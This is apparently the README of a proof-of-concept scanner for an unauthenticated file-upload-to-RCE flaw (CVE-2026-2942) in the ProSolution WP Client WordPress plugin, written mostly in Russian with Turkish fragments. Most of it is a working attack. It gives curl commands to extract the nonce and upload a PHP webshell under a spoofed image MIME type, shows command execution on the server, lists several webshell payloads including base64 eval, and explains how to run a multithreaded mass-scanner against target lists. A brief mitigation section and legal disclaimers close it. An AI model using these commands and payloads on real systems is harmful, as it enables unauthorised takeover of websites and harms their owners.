
Автоматический сканер для неаутентифицированной произвольной загрузки файлов и удалённого выполнения кода в ProSolution WP Client (CVE-2026-2942). Поддерживает многопоточное сканирование, подмену MIME-типов, проверку шелл-кода и поддержку прокси для тестирования на проникновение.
Плагин: prosolution-wp-client
Затронутая версия: <= 1.9.9
Тип уязвимости: Неавторизованная произвольная загрузка файлов → удалённое выполнение кода
Уровень риска: 🔴 Критический (CVSS 9.8)
Требование: публичная страница, содержащая шорткод[prosolfrontend]
AJAX-действие proSol_fileUploadProcess плагина ProSolution WP Client
проверяет MIME-тип загружаемых файлов, но не проверяет расширение.
Отправляя файл с расширением .php и MIME-типом image/jpeg, атакующий
может загрузить на сервер веб-шелл без аутентификации.
[prosolfrontend] shortcode sayfası
│
▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → Unauthenticated RCE ✓
⚠️ Отказ от ответственности: Этот PoC предоставлен исключительно в образовательных целях и для исследований в области защиты. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
prosolution-wp-client (версия <= 1.9.9)[prosolfrontend]Посетите любую публичную страницу, содержащую шорткод [prosolfrontend],
и извлеките значение prosolObj.nonce из исходного кода:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
Структура, которую нужно найти в исходном коде:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
Отправьте файл .php с Content-Type image/jpeg:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
Ожидаемый ответ:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"и"rename_status": true→ файл.phpуспешно сохранён.
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # Adım 3'teki newfilename
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
Ожидаемый вывод:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ Достигнуто неавторизованное RCE.
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
| Параметр | Сокращение | Описание | По умолчанию |
|---|---|---|---|
--url | -u | Одиночная целевая URL | — |
--list | -l | Файл со списком целей | — |
--threads | -t | Количество потоков | 10 |
--output | -o | Файл вывода | uploaded.txt |
--shell-name | — | Имя загружаемого файла | shell.php |
--shell-type | — | Тип шелла | system |
--verify | — | Тест RCE после загрузки | False |
--verify-cmd | — | Команда проверки | id |
--proxy | — | Proxy URL | — |
--timeout | — | Таймаут запроса (сек) | 10 |
| Тип | Payload | Описание |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Базовая системная команда |
passthru | <?php passthru($_GET["cmd"]); ?> | Сырой вывод |
exec | <?php echo exec($_GET["cmd"]); ?> | Тихое выполнение |
assert | <?php assert($_POST["cmd"]); ?> | Eval через POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64-обфускация |
full | shell_exec + system + exec fallback | Полнофункциональная оболочка |
WordPress Kök/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell burada
| Статус | Описание |
|---|---|
★ UPLOADED | Шелл успешно загружен |
✓ RCE OK | Шелл проверен, команда выполнена |
- BLOCKED | Сервер заблокировал PHP-расширение |
~ TIMEOUT | Таймаут соединения |
~ CONN_ERR | Ошибка соединения |
! HTTP_ERR | Код ошибки HTTP |
[*] 3 hedef | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
Yeni Ad : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────
| Мера | Применение |
|---|---|
| Блокировка выполнения PHP | Добавить .htaccess в каталог uploads/ |
| Обновление плагина | Обновить до версии > 1.9.9 или удалить |
| Белый список расширений | На стороне сервера — только разрешённые расширения |
| Проверка MIME | Контроль реального содержимого с помощью finfo_file() |
| Правило WAF | Блокировать запросы на загрузку .php |
.htaccess для каталога uploads/:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
Этот инструмент и PoC предназначены для использования только на авторизованных системах, в образовательных целях и в рамках тестирования на проникновение.
Использование на системах без разрешения является преступлением согласно статьям 243–245 Уголовного кодекса Турции и международным законам о киберпреступности.
Разработчик не несёт никакой юридической ответственности за последствия злоупотребления инструментом.
Лицензия MIT — только для образовательных и исследовательских целей.